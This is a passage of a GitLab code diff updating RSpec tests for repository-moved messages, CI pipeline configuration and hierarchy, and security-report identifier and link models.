- expect { parser.parse_and_transform('{% each') }
- .to raise_error(Gitlab::Changelog::Error)
- end
- end
-end
diff --git a/spec/lib/gitlab/checks/container_moved_spec.rb b/spec/lib/gitlab/checks/container_moved_spec.rb
new file mode 100644
index 00000000000..00ef5604e1d
--- /dev/null
+++ b/spec/lib/gitlab/checks/container_moved_spec.rb
@@ -0,0 +1,150 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Checks::ContainerMoved, :clean_gitlab_redis_shared_state do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:project) { create(:project, :repository, :wiki_repo, namespace: user.namespace) }
+
+ let(:repository) { project.repository }
+ let(:protocol) { 'http' }
+ let(:git_user) { user }
+ let(:redirect_path) { 'foo/bar' }
+
+ subject { described_class.new(repository, git_user, protocol, redirect_path) }
+
+ describe '.fetch_message' do
+ let(:key) { "redirect_namespace:#{user.id}:#{project.repository.gl_repository}" }
+ let(:legacy_key) { "redirect_namespace:#{user.id}:#{project.id}" }
+
+ context 'with a redirect message queue' do
+ before do
+ subject.add_message
+ end
+
+ it 'returns the redirect message' do
+ expect(described_class.fetch_message(user, project.repository)).to eq(subject.message)
+ end
+
+ it 'deletes the redirect message from redis' do
+ expect(Gitlab::Redis::SharedState.with { |redis| redis.get(key) }).not_to be_nil
+
+ described_class.fetch_message(user, project.repository)
+
+ expect(Gitlab::Redis::SharedState.with { |redis| redis.get(key) }).to be_nil
+ end
+
+ context 'with a message in the legacy key' do
+ before do
+ Gitlab::Redis::SharedState.with do |redis|
+ redis.set(legacy_key, 'legacy message')
+ end
+ end
+
+ it 'returns and deletes the legacy message' do
+ expect(Gitlab::Redis::SharedState.with { |redis| redis.get(key) }).not_to be_nil
+ expect(Gitlab::Redis::SharedState.with { |redis| redis.get(legacy_key) }).not_to be_nil
+
+ expect(described_class.fetch_message(user, project.repository)).to eq('legacy message')
+
+ expect(Gitlab::Redis::SharedState.with { |redis| redis.get(key) }).to be_nil
+ expect(Gitlab::Redis::SharedState.with { |redis| redis.get(legacy_key) }).to be_nil
+ end
+ end
+ end
+
+ context 'with no redirect message queue' do
+ it 'returns nil' do
+ expect(described_class.fetch_message(user, project.repository)).to be_nil
+ end
+ end
+ end
+
+ describe '#add_message' do
+ it 'queues a redirect message' do
+ expect(subject.add_message).to eq("OK")
+ end
+
+ context 'when user is nil' do
+ let(:git_user) { nil }
+
+ it 'handles anonymous clones' do
+ expect(subject.add_message).to be_nil
+ end
+ end
+ end
+
+ describe '#message' do
+ shared_examples 'errors per protocol' do
+ shared_examples 'returns redirect message' do
+ it do
+ message = <<~MSG
+ #{container_label} '#{redirect_path}' was moved to '#{repository.container.full_path}'.
+
+ Please update your Git remote:
+
+ git remote set-url origin #{url_to_repo}
+ MSG
+
+ expect(subject.message).to eq(message)
+ end
+ end
+
+ context 'when protocol is http' do
+ it_behaves_like 'returns redirect message' do
+ let(:url_to_repo) { http_url_to_repo }
+ end
+ end
+
+ context 'when protocol is ssh' do
+ let(:protocol) { 'ssh' }
+
+ it_behaves_like 'returns redirect message' do
+ let(:url_to_repo) { ssh_url_to_repo }
+ end
+ end
+ end
+
+ context 'with project' do
+ it_behaves_like 'errors per protocol' do
+ let(:container_label) { 'Project' }
+ let(:http_url_to_repo) { project.http_url_to_repo }
+ let(:ssh_url_to_repo) { project.ssh_url_to_repo }
+ end
+ end
+
+ context 'with wiki' do
+ let(:repository) { project.wiki.repository }
+
+ it_behaves_like 'errors per protocol' do
+ let(:container_label) { 'Project wiki' }
+ let(:http_url_to_repo) { project.wiki.http_url_to_repo }
+ let(:ssh_url_to_repo) { project.wiki.ssh_url_to_repo }
+ end
+ end
+
+ context 'with project snippet' do
+ let_it_be(:snippet) { create(:project_snippet, :repository, project: project, author: user) }
+
+ let(:repository) { snippet.repository }
+
+ it_behaves_like 'errors per protocol' do
+ let(:container_label) { 'Project snippet' }
+ let(:http_url_to_repo) { snippet.http_url_to_repo }
+ let(:ssh_url_to_repo) { snippet.ssh_url_to_repo }
+ end
+ end
+
+ context 'with personal snippet' do
+ let_it_be(:snippet) { create(:personal_snippet, :repository, author: user) }
+
+ let(:repository) { snippet.repository }
+
+ it_behaves_like 'errors per protocol' do
+ let(:container_label) { 'Personal snippet' }
+ let(:http_url_to_repo) { snippet.http_url_to_repo }
+ let(:ssh_url_to_repo) { snippet.ssh_url_to_repo }
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/checks/project_created_spec.rb b/spec/lib/gitlab/checks/project_created_spec.rb
index 74e43b04b6b..6a2e4201030 100644
--- a/spec/lib/gitlab/checks/project_created_spec.rb
+++ b/spec/lib/gitlab/checks/project_created_spec.rb
@@ -13,27 +13,48 @@ RSpec.describe Gitlab::Checks::ProjectCreated, :clean_gitlab_redis_shared_state
subject { described_class.new(repository, git_user, 'http') }
describe '.fetch_message' do
+ let(:key) { "project_created:#{user.id}:#{project.repository.gl_repository}" }
+ let(:legacy_key) { "project_created:#{user.id}:#{project.id}" }
+
context 'with a project created message queue' do
before do
subject.add_message
end
it 'returns project created message' do
- expect(described_class.fetch_message(user.id, project.id)).to eq(subject.message)
+ expect(described_class.fetch_message(user, project.repository)).to eq(subject.message)
end
it 'deletes the project created message from redis' do
- expect(Gitlab::Redis::SharedState.with { |redis| redis.get("project_created:#{user.id}:#{project.id}") }).not_to be_nil
+ expect(Gitlab::Redis::SharedState.with { |redis| redis.get(key) }).not_to be_nil
+
+ described_class.fetch_message(user, project.repository)
+
+ expect(Gitlab::Redis::SharedState.with { |redis| redis.get(key) }).to be_nil
+ end
+
+ context 'with a message in the legacy key' do
+ before do
+ Gitlab::Redis::SharedState.with do |redis|
+ redis.set(legacy_key, 'legacy message')
+ end
+ end
+
+ it 'returns and deletes the legacy message' do
+ expect(Gitlab::Redis::SharedState.with { |redis| redis.get(key) }).not_to be_nil
+ expect(Gitlab::Redis::SharedState.with { |redis| redis.get(legacy_key) }).not_to be_nil
- described_class.fetch_message(user.id, project.id)
+ expect(described_class.fetch_message(user, project.repository)).to eq('legacy message')
- expect(Gitlab::Redis::SharedState.with { |redis| redis.get("project_created:#{user.id}:#{project.id}") }).to be_nil
+ expect(Gitlab::Redis::SharedState.with { |redis| redis.get(key) }).to be_nil
+ expect(Gitlab::Redis::SharedState.with { |redis| redis.get(legacy_key) }).to be_nil
+ end
end
end
context 'with no project created message queue' do
it 'returns nil' do
- expect(described_class.fetch_message(1, 2)).to be_nil
+ expect(described_class.fetch_message(user, project.repository)).to be_nil
end
end
end
diff --git a/spec/lib/gitlab/checks/project_moved_spec.rb b/spec/lib/gitlab/checks/project_moved_spec.rb
deleted file mode 100644
index 469aea8d093..00000000000
--- a/spec/lib/gitlab/checks/project_moved_spec.rb
+++ /dev/null
@@ -1,124 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::Checks::ProjectMoved, :clean_gitlab_redis_shared_state do
- let_it_be(:user) { create(:user) }
- let_it_be(:project) { create(:project, :repository, :wiki_repo, namespace: user.namespace) }
-
- let(:repository) { project.repository }
- let(:protocol) { 'http' }
- let(:git_user) { user }
- let(:redirect_path) { 'foo/bar' }
-
- subject { described_class.new(repository, git_user, protocol, redirect_path) }
-
- describe '.fetch_message' do
- context 'with a redirect message queue' do
- before do
- subject.add_message
- end
-
- it 'returns the redirect message' do
- expect(described_class.fetch_message(user.id, project.id)).to eq(subject.message)
- end
-
- it 'deletes the redirect message from redis' do
- expect(Gitlab::Redis::SharedState.with { |redis| redis.get("redirect_namespace:#{user.id}:#{project.id}") }).not_to be_nil
-
- described_class.fetch_message(user.id, project.id)
-
- expect(Gitlab::Redis::SharedState.with { |redis| redis.get("redirect_namespace:#{user.id}:#{project.id}") }).to be_nil
- end
- end
-
- context 'with no redirect message queue' do
- it 'returns nil' do
- expect(described_class.fetch_message(1, 2)).to be_nil
- end
- end
- end
-
- describe '#add_message' do
- it 'queues a redirect message' do
- expect(subject.add_message).to eq("OK")
- end
-
- context 'when user is nil' do
- let(:git_user) { nil }
-
- it 'handles anonymous clones' do
- expect(subject.add_message).to be_nil
- end
- end
- end
-
- describe '#message' do
- shared_examples 'errors per protocol' do
- shared_examples 'returns redirect message' do
- it do
- message = <<~MSG
- Project '#{redirect_path}' was moved to '#{project.full_path}'.
-
- Please update your Git remote:
-
- git remote set-url origin #{url_to_repo}
- MSG
-
- expect(subject.message).to eq(message)
- end
- end
-
- context 'when protocol is http' do
- it_behaves_like 'returns redirect message' do
- let(:url_to_repo) { http_url_to_repo }
- end
- end
-
- context 'when protocol is ssh' do
- let(:protocol) { 'ssh' }
-
- it_behaves_like 'returns redirect message' do
- let(:url_to_repo) { ssh_url_to_repo }
- end
- end
- end
-
- context 'with project' do
- it_behaves_like 'errors per protocol' do
- let(:http_url_to_repo) { project.http_url_to_repo }
- let(:ssh_url_to_repo) { project.ssh_url_to_repo }
- end
- end
-
- context 'with wiki' do
- let(:repository) { project.wiki.repository }
-
- it_behaves_like 'errors per protocol' do
- let(:http_url_to_repo) { project.wiki.http_url_to_repo }
- let(:ssh_url_to_repo) { project.wiki.ssh_url_to_repo }
- end
- end
-
- context 'with project snippet' do
- let_it_be(:snippet) { create(:project_snippet, :repository, project: project, author: user) }
-
- let(:repository) { snippet.repository }
-
- it_behaves_like 'errors per protocol' do
- let(:http_url_to_repo) { snippet.http_url_to_repo }
- let(:ssh_url_to_repo) { snippet.ssh_url_to_repo }
- end
- end
-
- context 'with personal snippet' do
- let_it_be(:snippet) { create(:personal_snippet, :repository, author: user) }
-
- let(:repository) { snippet.repository }
-
- it 'returns nil' do
- expect(subject.add_message).to be_nil
- end
- end
- end
-end
diff --git a/spec/lib/gitlab/ci/ansi2json/line_spec.rb b/spec/lib/gitlab/ci/ansi2json/line_spec.rb
index 909c0f1b3ea..d16750d19f1 100644
--- a/spec/lib/gitlab/ci/ansi2json/line_spec.rb
+++ b/spec/lib/gitlab/ci/ansi2json/line_spec.rb
@@ -76,30 +76,25 @@ RSpec.describe Gitlab::Ci::Ansi2json::Line do
end
describe '#set_section_duration' do
- shared_examples 'set_section_duration' do
- it 'sets and formats the section_duration' do
- subject.set_section_duration(75)
+ using RSpec::Parameterized::TableSyntax
- expect(subject.section_duration).to eq('01:15')
- end
+ where(:duration, :result) do
+ nil | '00:00'
+ 'string' | '00:00'
+ 0.seconds | '00:00'
+ 7.seconds | '00:07'
+ 75 | '01:15'
+ 1.minute + 15.seconds | '01:15'
+ 13.hours + 14.minutes + 15.seconds | '13:14:15'
+ 1.day + 13.hours + 14.minutes + 15.seconds | '37:14:15'
end
- context 'with default timezone' do
- it_behaves_like 'set_section_duration'
- end
+ with_them do
+ it do
+ subject.set_section_duration(duration)
- context 'with a timezone carrying minutes offset' do
- before do
- # The actual call by does use Time.at(...).utc that the following
- # rubocop rule (Rails/TimeZone) suggests, but for this specific
- # test's purposes we needed to mock at the Time.at call point.
-
- # rubocop:disable Rails/TimeZone
- allow(Time).to receive(:at).with(75).and_return(Time.at(75, in: '+05:30'))
- # rubocop:enable Rails/TimeZone
+ expect(subject.section_duration).to eq(result)
end
-
- it_behaves_like 'set_section_duration'
end
end
diff --git a/spec/lib/gitlab/ci/config/entry/artifacts_spec.rb b/spec/lib/gitlab/ci/config/entry/artifacts_spec.rb
index 0e6d5b6c311..7476fc6c25f 100644
--- a/spec/lib/gitlab/ci/config/entry/artifacts_spec.rb
+++ b/spec/lib/gitlab/ci/config/entry/artifacts_spec.rb
@@ -143,51 +143,22 @@ RSpec.describe Gitlab::Ci::Config::Entry::Artifacts do
end
describe 'excluded artifacts' do
- context 'when configuration is valid and the feature is enabled' do
- before do
- stub_feature_flags(ci_artifacts_exclude: true)
- end
-
- context 'when configuration is valid' do
- let(:config) { { untracked: true, exclude: ['some/directory/'] } }
-
- it 'correctly parses the configuration' do
- expect(entry).to be_valid
- expect(entry.value).to eq config
- end
- end
+ context 'when configuration is valid' do
+ let(:config) { { untracked: true, exclude: ['some/directory/'] } }
- context 'when configuration is not valid' do
- let(:config) { { untracked: true, exclude: 1234 } }
-
- it 'returns an error' do
- expect(entry).not_to be_valid
- expect(entry.errors)
- .to include 'artifacts exclude should be an array of strings'
- end
+ it 'correctly parses the configuration' do
+ expect(entry).to be_valid
+ expect(entry.value).to eq config
end
end
- context 'when artifacts/exclude feature is disabled' do
- before do
- stub_feature_flags(ci_artifacts_exclude: false)
- end
-
- context 'when configuration has been provided' do
- let(:config) { { untracked: true, exclude: ['some/directory/'] } }
-
- it 'returns an error' do
- expect(entry).not_to be_valid
- expect(entry.errors).to include 'artifacts exclude feature is disabled'
- end
- end
+ context 'when configuration is not valid' do
+ let(:config) { { untracked: true, exclude: 1234 } }
- context 'when configuration is not present' do
- let(:config) { { untracked: true } }
-
- it 'is a valid configuration' do
- expect(entry).to be_valid
- end
+ it 'returns an error' do
+ expect(entry).not_to be_valid
+ expect(entry.errors)
+ .to include 'artifacts exclude should be an array of strings'
end
end
end
diff --git a/spec/lib/gitlab/ci/config/entry/reports_spec.rb b/spec/lib/gitlab/ci/config/entry/reports_spec.rb
index d8907f7015b..12b8960eb32 100644
--- a/spec/lib/gitlab/ci/config/entry/reports_spec.rb
+++ b/spec/lib/gitlab/ci/config/entry/reports_spec.rb
@@ -40,6 +40,7 @@ RSpec.describe Gitlab::Ci::Config::Entry::Reports do
:secret_detection | 'gl-secret-detection-report.json'
:dependency_scanning | 'gl-dependency-scanning-report.json'
:container_scanning | 'gl-container-scanning-report.json'
+ :cluster_image_scanning | 'gl-cluster-image-scanning-report.json'
:dast | 'gl-dast-report.json'
:license_scanning | 'gl-license-scanning-report.json'
:performance | 'performance.json'
diff --git a/spec/lib/gitlab/ci/lint_spec.rb b/spec/lib/gitlab/ci/lint_spec.rb
index aaa3a7a8b9d..77f6608eb85 100644
--- a/spec/lib/gitlab/ci/lint_spec.rb
+++ b/spec/lib/gitlab/ci/lint_spec.rb
@@ -247,7 +247,7 @@ RSpec.describe Gitlab::Ci::Lint do
include_context 'advanced validations' do
it 'runs advanced logical validations' do
expect(subject).not_to be_valid
- expect(subject.errors).to eq(["'test' job needs 'build' job, but it was not added to the pipeline"])
+ expect(subject.errors).to eq(["'test' job needs 'build' job, but 'build' is not in any previous stage"])
end
end
diff --git a/spec/lib/gitlab/ci/matching/runner_matcher_spec.rb b/spec/lib/gitlab/ci/matching/runner_matcher_spec.rb
index d6492caa31a..6b3fef33182 100644
--- a/spec/lib/gitlab/ci/matching/runner_matcher_spec.rb
+++ b/spec/lib/gitlab/ci/matching/runner_matcher_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe Gitlab::Ci::Matching::RunnerMatcher do
let(:dummy_attributes) do
{
+ runner_ids: [1],
runner_type: 'instance_type',
public_projects_minutes_cost_factor: 0,
private_projects_minutes_cost_factor: 1,
@@ -26,6 +27,8 @@ RSpec.describe Gitlab::Ci::Matching::RunnerMatcher do
context 'with attributes' do
let(:attributes) { dummy_attributes }
+ it { expect(matcher.runner_ids).to eq([1]) }
+
it { expect(matcher.runner_type).to eq('instance_type') }
it { expect(matcher.public_projects_minutes_cost_factor).to eq(0) }
diff --git a/spec/lib/gitlab/ci/pipeline/chain/seed_spec.rb b/spec/lib/gitlab/ci/pipeline/chain/seed_spec.rb
index 2e537f40692..687bb82a8ef 100644
--- a/spec/lib/gitlab/ci/pipeline/chain/seed_spec.rb
+++ b/spec/lib/gitlab/ci/pipeline/chain/seed_spec.rb
@@ -203,18 +203,6 @@ RSpec.describe Gitlab::Ci::Pipeline::Chain::Seed do
expect(rspec_variables['VAR1']).to eq('overridden var 1')
end
-
- context 'when the FF ci_workflow_rules_variables is disabled' do
- before do
- stub_feature_flags(ci_workflow_rules_variables: false)
- end
-
- it 'sends root variable' do
- run_chain
-
- expect(rspec_variables['VAR1']).to eq('var 1')
- end
- end
end
context 'N+1 queries' do
diff --git a/spec/lib/gitlab/ci/pipeline/seed/build_spec.rb b/spec/lib/gitlab/ci/pipeline/seed/build_spec.rb
index 020f957cf70..58938251ca1 100644
--- a/spec/lib/gitlab/ci/pipeline/seed/build_spec.rb
+++ b/spec/lib/gitlab/ci/pipeline/seed/build_spec.rb
@@ -11,8 +11,9 @@ RSpec.describe Gitlab::Ci::Pipeline::Seed::Build do
let(:seed_context) { double(pipeline: pipeline, root_variables: root_variables) }
let(:attributes) { { name: 'rspec', ref: 'master', scheduling_type: :stage } }
let(:previous_stages) { [] }
+ let(:current_stage) { double(seeds_names: [attributes[:name]]) }
- let(:seed_build) { described_class.new(seed_context, attributes, previous_stages) }
+ let(:seed_build) { described_class.new(seed_context, attributes, previous_stages, current_stage) }
describe '#attributes' do
subject { seed_build.attributes }
@@ -90,6 +91,20 @@ RSpec.describe Gitlab::Ci::Pipeline::Seed::Build do
end
end
+ context 'with job:tags' do
+ let(:attributes) do
+ {
+ name: 'rspec',
+ ref: 'master',
+ job_variables: [{ key: 'VARIABLE', value: 'value', public: true }],
+ tag_list: ['static-tag', '$VARIABLE', '$NO_VARIABLE']
+ }
+ end
+
+ it { is_expected.to include(tag_list: ['static-tag', 'value', '$NO_VARIABLE']) }
+ it { is_expected.to include(yaml_variables: [{ key: 'VARIABLE', value: 'value', public: true }]) }
+ end
+
context 'with cache:key' do
let(:attributes) do
{
@@ -250,19 +265,6 @@ RSpec.describe Gitlab::Ci::Pipeline::Seed::Build do
{ key: 'VAR4', value: 'new var pipeline 4', public: true }]
)
end
-
- context 'when FF ci_workflow_rules_variables is disabled' do
- before do
- stub_feature_flags(ci_workflow_rules_variables: false)
- end
-
- it 'returns existing yaml variables' do
- expect(subject[:yaml_variables]).to match_array(
- [{ key: 'VAR2', value: 'var 2', public: true },
- { key: 'VAR3', value: 'var 3', public: true }]
- )
- end
- end
end
context 'when root_variables_inheritance is false' do
@@ -1092,7 +1094,7 @@ RSpec.describe Gitlab::Ci::Pipeline::Seed::Build do
it "returns an error" do
expect(subject.errors).to contain_exactly(
- "'rspec' job needs 'build' job, but it was not added to the pipeline")
+ "'rspec' job needs 'build' job, but 'build' is not in any previous stage")
end
context 'when the needed job is optional' do
@@ -1128,6 +1130,28 @@ RSpec.describe Gitlab::Ci::Pipeline::Seed::Build do
end
end
+ context 'when build job is part of the same stage' do
+ let(:current_stage) { double(seeds_names: [attributes[:name], 'build']) }
+
+ it 'is included' do
+ is_expected.to be_included
+ end
+
+ it 'does not have errors' do
+ expect(subject.errors).to be_empty
+ end
+
+ context 'when ci_same_stage_job_needs FF is disabled' do
+ before do
+ stub_feature_flags(ci_same_stage_job_needs: false)
+ end
+
+ it 'has errors' do
+ expect(subject.errors).to contain_exactly("'rspec' job needs 'build' job, but 'build' is not in any previous stage")
+ end
+ end
+ end
+
context 'when using 101 needs' do
let(:needs_count) { 101 }
diff --git a/spec/lib/gitlab/ci/pipeline/seed/pipeline_spec.rb b/spec/lib/gitlab/ci/pipeline/seed/pipeline_spec.rb
index 21be8660def..3424e7d03a3 100644
--- a/spec/lib/gitlab/ci/pipeline/seed/pipeline_spec.rb
+++ b/spec/lib/gitlab/ci/pipeline/seed/pipeline_spec.rb
@@ -34,6 +34,10 @@ RSpec.describe Gitlab::Ci::Pipeline::Seed::Pipeline do
described_class.new(seed_context, stages_attributes)
end
+ before do
+ stub_feature_flags(ci_same_stage_job_needs: false)
+ end
+
describe '#stages' do
it 'returns the stage resources' do
stages = seed.stages
@@ -65,7 +69,7 @@ RSpec.describe Gitlab::Ci::Pipeline::Seed::Pipeline do
}
expect(seed.errors).to contain_exactly(
- "'invalid_job' job needs 'non-existent' job, but it was not added to the pipeline")
+ "'invalid_job' job needs 'non-existent' job, but 'non-existent' is not in any previous stage")
end
end
end
diff --git a/spec/lib/gitlab/ci/pipeline_object_hierarchy_spec.rb b/spec/lib/gitlab/ci/pipeline_object_hierarchy_spec.rb
index 89602fe79d1..62ff7fcafea 100644
--- a/spec/lib/gitlab/ci/pipeline_object_hierarchy_spec.rb
+++ b/spec/lib/gitlab/ci/pipeline_object_hierarchy_spec.rb
@@ -12,6 +12,7 @@ RSpec.describe Gitlab::Ci::PipelineObjectHierarchy do
let_it_be(:cousin_parent) { create(:ci_pipeline, project: project) }
let_it_be(:cousin) { create(:ci_pipeline, project: project) }
let_it_be(:triggered_pipeline) { create(:ci_pipeline) }
+ let_it_be(:triggered_child_pipeline) { create(:ci_pipeline) }
before_all do
create_source_pipeline(ancestor, parent)
@@ -19,19 +20,20 @@ RSpec.describe Gitlab::Ci::PipelineObjectHierarchy do
create_source_pipeline(parent, child)
create_source_pipeline(cousin_parent, cousin)
create_source_pipeline(child, triggered_pipeline)
+ create_source_pipeline(triggered_pipeline, triggered_child_pipeline)
end
describe '#base_and_ancestors' do
it 'includes the base and its ancestors' do
relation = described_class.new(::Ci::Pipeline.where(id: parent.id),
- options: { same_project: true }).base_and_ancestors
+ options: { project_condition: :same }).base_and_ancestors
expect(relation).to contain_exactly(ancestor, parent)
end
it 'can find ancestors upto a certain level' do
relation = described_class.new(::Ci::Pipeline.where(id: child.id),
- options: { same_project: true }).base_and_ancestors(upto: ancestor.id)
+ options: { project_condition: :same }).base_and_ancestors(upto: ancestor.id)
expect(relation).to contain_exactly(parent, child)
end
@@ -39,7 +41,7 @@ RSpec.describe Gitlab::Ci::PipelineObjectHierarchy do
describe 'hierarchy_order option' do
let(:relation) do
described_class.new(::Ci::Pipeline.where(id: child.id),
- options: { same_project: true }).base_and_ancestors(hierarchy_order: hierarchy_order)
+ options: { project_condition: :same }).base_and_ancestors(hierarchy_order: hierarchy_order)
end
context ':asc' do
@@ -63,15 +65,32 @@ RSpec.describe Gitlab::Ci::PipelineObjectHierarchy do
describe '#base_and_descendants' do
it 'includes the base and its descendants' do
relation = described_class.new(::Ci::Pipeline.where(id: parent.id),
- options: { same_project: true }).base_and_descendants
+ options: { project_condition: :same }).base_and_descendants
expect(relation).to contain_exactly(parent, child)
end
+ context 'when project_condition: :different' do
+ it "includes the base and other project pipelines" do
+ relation = described_class.new(::Ci::Pipeline.where(id: child.id),
+ options: { project_condition: :different }).base_and_descendants
+
+ expect(relation).to contain_exactly(child, triggered_pipeline, triggered_child_pipeline)
+ end
+ end
+
+ context 'when project_condition: nil' do
+ it "includes the base and its descendants with other project pipeline" do
+ relation = described_class.new(::Ci::Pipeline.where(id: parent.id)).base_and_descendants
+
+ expect(relation).to contain_exactly(parent, child, triggered_pipeline, triggered_child_pipeline)
+ end
+ end
+
context 'when with_depth is true' do
let(:relation) do
described_class.new(::Ci::Pipeline.where(id: ancestor.id),
- options: { same_project: true }).base_and_descendants(with_depth: true)
+ options: { project_condition: :same }).base_and_descendants(with_depth: true)
end
it 'includes depth in the results' do
@@ -91,21 +110,51 @@ RSpec.describe Gitlab::Ci::PipelineObjectHierarchy do
end
describe '#all_objects' do
- it 'includes its ancestors and descendants' do
- relation = described_class.new(::Ci::Pipeline.where(id: parent.id),
- options: { same_project: true }).all_objects
+ context 'when passing ancestors_base' do
+ let(:options) { { project_condition: project_condition } }
+ let(:ancestors_base) { ::Ci::Pipeline.where(id: child.id) }
+
+ subject(:relation) { described_class.new(ancestors_base, options: options).all_objects }
- expect(relation).to contain_exactly(ancestor, parent, child)
+ context 'when project_condition: :same' do
+ let(:project_condition) { :same }
+
+ it "includes its ancestors and descendants" do
+ expect(relation).to contain_exactly(ancestor, parent, child)
+ end
+ end
+
+ context 'when project_condition: :different' do
+ let(:project_condition) { :different }
+
+ it "includes the base and other project pipelines" do
+ expect(relation).to contain_exactly(child, triggered_pipeline, triggered_child_pipeline)
+ end
+ end
end
- it 'returns all family tree' do
- relation = described_class.new(
- ::Ci::Pipeline.where(id: child.id),
- described_class.new(::Ci::Pipeline.where(id: child.id), options: { same_project: true }).base_and_ancestors,
- options: { same_project: true }
- ).all_objects
+ context 'when passing ancestors_base and descendants_base' do
+ let(:options) { { project_condition: project_condition } }
+ let(:ancestors_base) { ::Ci::Pipeline.where(id: child.id) }
+ let(:descendants_base) { described_class.new(::Ci::Pipeline.where(id: child.id), options: options).base_and_ancestors }
+
+ subject(:relation) { described_class.new(ancestors_base, descendants_base, options: options).all_objects }
+
+ context 'when project_condition: :same' do
+ let(:project_condition) { :same }
- expect(relation).to contain_exactly(ancestor, parent, cousin_parent, child, cousin)
+ it 'returns all family tree' do
+ expect(relation).to contain_exactly(ancestor, parent, cousin_parent, child, cousin)
+ end
+ end
+
+ context 'when project_condition: :different' do
+ let(:project_condition) { :different }
+
+ it "includes the base and other project pipelines" do
+ expect(relation).to contain_exactly(child, triggered_pipeline, triggered_child_pipeline)
+ end
+ end
end
end
end
diff --git a/spec/lib/gitlab/ci/reports/security/identifier_spec.rb b/spec/lib/gitlab/ci/reports/security/identifier_spec.rb
new file mode 100644
index 00000000000..123730b6ee6
--- /dev/null
+++ b/spec/lib/gitlab/ci/reports/security/identifier_spec.rb
@@ -0,0 +1,125 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Ci::Reports::Security::Identifier do
+ using RSpec::Parameterized::TableSyntax
+
+ describe '#initialize' do
+ subject { described_class.new(**params) }
+
+ let(:params) do
+ {
+ external_type: 'brakeman_warning_code',
+ external_id: '107',
+ name: 'Brakeman Warning Code 107',
+ url: 'https://brakemanscanner.org/docs/warning_types/cross_site_scripting/'
+ }
+ end
+
+ context 'when all params are given' do
+ it 'initializes an instance' do
+ expect { subject }.not_to raise_error
+
+ expect(subject).to have_attributes(
+ external_type: 'brakeman_warning_code',
+ external_id: '107',
+ fingerprint: 'aa2254904a69148ad14b6ac5db25b355da9c987f',
+ name: 'Brakeman Warning Code 107',
+ url: 'https://brakemanscanner.org/docs/warning_types/cross_site_scripting/'
+ )
+ end
+ end
+
+ %i[external_type external_id name].each do |attribute|
+ context "when attribute #{attribute} is missing" do
+ before do
+ params.delete(attribute)
+ end
+
+ it 'raises an error' do
+ expect { subject }.to raise_error(ArgumentError)
+ end
+ end
+ end
+ end
+
+ describe '#key' do
+ let(:identifier) { create(:ci_reports_security_identifier) }
+
+ subject { identifier.key }
+
+ it 'returns fingerprint' do
+ is_expected.to eq(identifier.fingerprint)
+ end
+ end
+
+ describe '#type_identifier?' do
+ where(:external_type, :expected_result) do
+ 'cve' | false
+ 'foo' | false
+ 'cwe' | true
+ 'wasc' | true
+ end
+
+ with_them do
+ let(:identifier) { create(:ci_reports_security_identifier, external_type: external_type) }
+
+ subject { identifier.type_identifier? }
+
+ it { is_expected.to be(expected_result) }
+ end
+ end
+
+ describe 'external type check methods' do
+ where(:external_type, :is_cve?, :is_cwe?, :is_wasc?) do
+ 'Foo' | false | false | false
+ 'Cve' | true | false | false
+ 'Cwe' | false | true | false
+ 'Wasc' | false | false | true
+ end
+
+ with_them do
+ let(:identifier) { create(:ci_reports_security_identifier, external_type: external_type) }
+
+ it 'returns correct result for the type check method' do
+ expect(identifier.cve?).to be(is_cve?)
+ expect(identifier.cwe?).to be(is_cwe?)
+ expect(identifier.wasc?).to be(is_wasc?)
+ end
+ end
+ end
+
+ describe '#to_hash' do
+ let(:identifier) { create(:ci_reports_security_identifier) }
+
+ subject { identifier.to_hash }
+
+ it 'returns expected hash' do
+ is_expected.to eq({
+ external_type: identifier.external_type,
+ external_id: identifier.external_id,
+ fingerprint: identifier.fingerprint,
+ name: identifier.name,
+ url: identifier.url
+ })
+ end
+ end
+
+ describe '#==' do
+ where(:type_1, :id_1, :type_2, :id_2, :equal, :case_name) do
+ 'CVE' | '2018-1234' | 'CVE' | '2018-1234' | true | 'when external_type and external_id are equal'
+ 'CVE' | '2018-1234' | 'brakeman_code' | '2018-1234' | false | 'when external_type is different'
+ 'CVE' | '2018-1234' | 'CVE' | '2019-6789' | false | 'when external_id is different'
+ end
+
+ with_them do
+ let(:identifier_1) { create(:ci_reports_security_identifier, external_type: type_1, external_id: id_1) }
+ let(:identifier_2) { create(:ci_reports_security_identifier, external_type: type_2, external_id: id_2) }
+
+ it "returns #{params[:equal]}" do
+ expect(identifier_1 == identifier_2).to eq(equal)
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/ci/reports/security/link_spec.rb b/spec/lib/gitlab/ci/reports/security/link_spec.rb
new file mode 100644
index 00000000000..7b55af27f4d
--- /dev/null
+++ b/spec/lib/gitlab/ci/reports/security/link_spec.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Ci::Reports::Security::Link do
+ subject(:security_link) { described_class.new(name: 'CVE-2020-0202', url: 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-0202') }
+
+ describe '#initialize' do
+ context 'when all params are given' do
+ it 'initializes an instance' do
+ expect { subject }.not_to raise_error
+
+ expect(subject).to have_attributes(
+ name: 'CVE-2020-0202',
+ url: 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-0202'
+ )
+ end
+ end
+
+ describe '#to_hash' do
+ it 'returns expected hash' do
+ expect(security_link.to_hash).to eq(
+ {
+ name: 'CVE-2020-0202',
+ url: 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-0202'
+ }
+ )
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/ci/reports/security/scan_spec.rb b/spec/lib/gitlab/ci/reports/security/scan_spec.rb
new file mode 100644
index 00000000000..b4968ff3a6e
--- /dev/null
+++ b/spec/lib/gitlab/ci/reports/security/scan_spec.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Ci::Reports::Security::Scan do
+ describe '#initialize' do
+ subject { described_class.new(params.with_indifferent_access) }
+
+ let(:params) do
+ {
+ status: 'success',
+ type: 'dependency-scanning',
+ start_time: 'placeholer',
